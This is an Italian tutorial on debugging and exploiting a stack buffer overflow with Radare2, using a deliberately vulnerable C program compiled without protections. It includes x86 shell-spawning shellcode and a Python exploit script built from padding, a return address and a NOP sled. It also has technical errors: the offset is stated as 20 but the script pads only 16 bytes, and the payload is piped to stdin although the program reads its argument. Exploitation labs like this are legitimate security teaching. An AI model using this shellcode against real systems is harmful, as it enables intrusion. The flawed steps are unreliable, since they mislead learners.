#### Introduzione a Radare2 e Buffer Overflow

- Radare2: È un framework di reverse engineering, analisi di malware e debugging potente e open-source. È noto per la sua flessibilità e per essere un "coltello svizzero" per gli esperti di sicurezza.
- **Buffer Overflow:** È una vulnerabilità che si verifica quando un programma scrive dati oltre la dimensione del buffer allocato in memoria. Questo può portare a sovrascrivere dati cruciali come l'indirizzo di ritorno delle funzioni, consentendo di prendere il controllo del flusso di esecuzione (e quindi del programma stesso).

### Tutorial: Debugging e Exploitation di un Buffer Overflow con Radare2

Useremo un semplice esempio di programma vulnerabile per dimostrare i concetti. Supponiamo di avere un file chiamato vuln\_program (puoi compilarlo tu stesso o usarne uno che ti viene fornito). Il codice C potrebbe essere simile a questo:

```
#include <stdio.h>
#include <string.h>

void vuln_function(char *input) {
    char buffer[16];
    strcpy(buffer, input); // Vulnerability:

strcpy doesn't check buffer size
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vuln_function(argv[1]);
    printf("Program exited normally\n");
    return 0;
}
```

#### Passo 1: Preparazione

### 1. Compilare il programma (se necessario):

```
gcc -o vuln_program vuln_program.c -fno-
stack-protector -no-pie -m32 # Opzionale: -
m32 per l'architettura a 32 bit, utili -fno-
stack-protector e -no-pie per semplificare
il debugging
```

gcc -o vuln\_program vuln\_program.c -fno-stack-protector -no-pie -m32

- -fno-stack-protector: Disabilita le protezioni dello stack (utile per i primi test di overflow)
- -no-pie: Disabilita l'Address Space Layout Randomization (ASLR) per il codice del programma (rende gli indirizzi di memoria prevedibili)
- o -m32: Compila per architettura a 32 bit (opzionale)

### 2. Aprire il programma con Radare2:

radare2 vuln\_program

### Passo 2: Esplorare l'eseguibile

### 1. Analizzare il programma:

[0x00001050]> aa # Analizza tutto il programma [0x00001050]> afl # Mostra le funzioni trovate Dovresti vedere tra le funzioni main e vuln\_function.

## 2. Disassemblare la funzione vuln\_function:

[0x00001050]> pdf @ vuln\_function # Disassembla la funzione vuln\_function Analizza il codice. Dovresti notare che la funzione usa strcpy su un buffer limitato (16 byte).

### 3. Controllare l'intero stato della memoria:

[0x00001050]> V

### Passo 3: Impostare il Debugging

#### 1. Entrare nel modo debug:

[0x00001050]> r2 -d vuln\_program # Avvia radare2 in modalità debugging

# 2. Impostare un breakpoint:

 Usa l'indirizzo dell'istruzione strcpy all'interno di vuln\_function, che hai visto nel disassembly. Di solito, è all'inizio della funzione.

[0x....]> db <indirizzo\_strcpy> # Imposta breakpoint all'indirizzo di strcpy

#### 3. Eseguire il programma con un input di test:

[0x....]> dc aaaabbbbccccddddeeeeffffgggghhhh # Continua l'esecuzione e passa una stringa di input

(Cerca di usare una stringa che sia chiaramente più lunga di 16 byte)

#### Passo 4: Analizzare l'Overflow

### 1. Visualizzare i registri:

[0x....]> dr # Mostra i registri

Verifica lo stato dei registri, in particolare, osserva il registro eip (su architetture a 32 bit) o rip (su architetture a 64 bit).

#### 2. Visualizzare lo stack:

[0x....]> px 64 @ esp # Mostra i contenuti dello stack (64 byte)Cerca nel buffer buffer (all'indirizzo di stack esp), vedrai la stringa di input, e se la stringa era abbastanza lunga, vedrai i bytes "aaaa", "bbbb", "cccc", ecc., che hanno sovrascritto indirizzi sullo stack.

#### Passo 5: Identificare l'Indirizzo di Ritorno Sovrascritto

- Calcola l'offset: Determina quanti byte di input servono per sovrascrivere l'indirizzo di ritorno. Di solito, è subito dopo la fine del buffer. In questo caso, poiché il buffer è di 16 byte, l'indirizzo di ritorno si troverà subito dopo, cioè a offset 20 (16 bytes + 4 per i 32bit o 8 per i 64 bit di ritorno).

che in python verrebbe espresso con:

python import sys sys.stdout.buffer.write(b"A"\*16 + b"\x41\x41\x41\x41")

A questo punto, usa questo output come input nel debugger:

bash python3 exploit.py | radare2 -d vuln\_program

E dopo esserti fermato al breakpoint esegui dc. A questo punto se guardi l'indirizzo eip (o rip) dovresti vedere 0x41414141.

# Passo 6: Exploit (Esempio Base)

### 1. Trovare una shellcode:

Avrai bisogno di shellcode (codice macchina che esegue una shell), puoi usare questo semplice esempio di shellcode (assicurati di adattarlo all'architettura corretta):

#### Esempio di shellcode (x86 32bit):

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

- 2. **Inserire la shellcode nello stack:** Invece di AAAA, inserisci prima un'area più grande di NOP (byte \x90, utile per aiutare l'exploit), poi inserisci la shellcode.
- 3. **Modificare l'indirizzo di ritorno:** Usa l'indirizzo dello stack (cioè dell'area dei NOP) come indirizzo di ritorno.

Per ottenerlo, imposta un breakpoint appena prima del strcpy ed esegui l'istruzione
 "print \$esp", che ti darà l'indirizzo da inserire al posto di AAAA, in formato little-endian.

### Script di Esempio (Python):

```
import sys

# Indirizzo ESP approssimativo (da ricavare dal
debug, sostituirlo col valore corretto)
stack_address = 0xbfffffff  # Esempio, da
modificare
nop_sled = b"\x90" * 32  # NOP slide per
aumentare la probabilità di successo
shellcode =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\
x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
"
padding = b"A" * 16
ret_address = stack_address.to_bytes(4,
'little') # Conversione little endian
exploit = padding + ret_address + nop_sled +
shellcode
sys.stdout.buffer.write(exploit)
```

## **Esecuzione dell'Exploit:**

- 1. Salva lo script come exploit.py.
- Esegui il programma target usando l'output dello script:
   python3 exploit.py | radare2 -d vuln\_program
   E poi, dopo esserti fermato con un breakpoint iniziale, esegui dc. Se l'exploit ha successo,
   dovresti vedere apparire una shell.

# Passi Avanzati:

- **ASLR:** Gestire l'Address Space Layout Randomization (ASLR). Questo richiede tecniche come il ret2libc (Return-to-libc) o la ricerca di indirizzi di memoria senza ASLR.
- **Protezione dello Stack:** Bypassare le protezioni dello stack come Stack Canary o DEP (Data Execution Prevention).
- **Shellcode avanzato:** Usare shellcode più complessi per ottenere privilegi più elevati o eseguire azioni specifiche.